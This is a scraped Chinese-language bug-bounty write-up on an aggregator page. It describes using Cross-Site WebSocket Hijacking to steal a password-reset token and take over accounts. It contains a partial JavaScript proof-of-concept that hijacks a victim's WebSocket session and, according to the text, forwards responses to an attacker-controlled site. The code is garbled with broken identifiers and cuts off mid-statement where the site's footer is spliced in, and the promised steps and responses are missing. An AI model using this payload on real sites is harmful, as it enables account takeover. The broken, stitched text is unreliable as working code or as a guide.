url存在宽字节跨站漏洞_利用WebSocket跨站劫持(CSWH)漏洞接管帐户
在一次漏洞懸賞活動中,我發(fā)現(xiàn)了一個(gè)使用WebSocket連接的應(yīng)用,所以我檢查了WebSocket URL,發(fā)現(xiàn)它很容易受到CSWH的攻擊(WebSocket跨站劫持)
有關(guān)CSWH的更多詳細(xì)信息,可以訪問以下鏈接了解
https://www.christian-schneider.net/CrossSiteWebSocketHijacking.html首先,我們假設(shè)一個(gè)應(yīng)用是通過以下URL建立websocket連接的 wss://website.com。關(guān)于驗(yàn)證URL是否存在CSWH漏洞可以遵循以下步驟:
通過以上步驟,我確定應(yīng)用存在CSWH漏洞。
一旦在新選項(xiàng)卡上建立了WebSocket連接,我就收到了下面的websocket響應(yīng)
從上述響應(yīng)中你可看到,參數(shù)“_forgotPasswordId”的值為“null”。
現(xiàn)在我需要“_forgotPasswordId”參數(shù)來發(fā)送惡意請求來重置密碼。
我再次測試了Websocket連接,這次觀察到了如下回應(yīng),它包含一個(gè)forgetPasswordID令牌
利用
現(xiàn)在準(zhǔn)備CSWH漏洞的利用鏈,重置密碼接管帳戶。以下由HTML代碼組成的payload會發(fā)送XHR請求,并把回應(yīng)導(dǎo)向攻擊者控制的站點(diǎn)。
Testing var wsUri = "wss://host.com"; var output; function init() { output = document.getElementById("output"); testWebSocket(); } function testWebSocket() { websocket = new WebSocket(wsUri); websocket.onopen = function(evt) { onOpen(evt) }; websocket.onclose = function(evt) { onClose(evt) }; websocket.onmessage = function(evt) { onMessage(evt) }; websocket.on error = function(evt) { on error(evt) }; } function onOpen(evt) { writeToScreen("CONNECTED"); doSend('websocket fr ame '); } function onClose(evt) { writeToScreen("DISCONNECTED"); } function onMessage(evt) {var xhr = new xm lHttpRequest();xhr.open("POST總結(jié)
以上是生活随笔為你收集整理的url存在宽字节跨站漏洞_利用WebSocket跨站劫持(CSWH)漏洞接管帐户的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 煤气灶维修多少钱啊?
- 下一篇: 百米路由器2登陆地址_腾达无线路由器怎么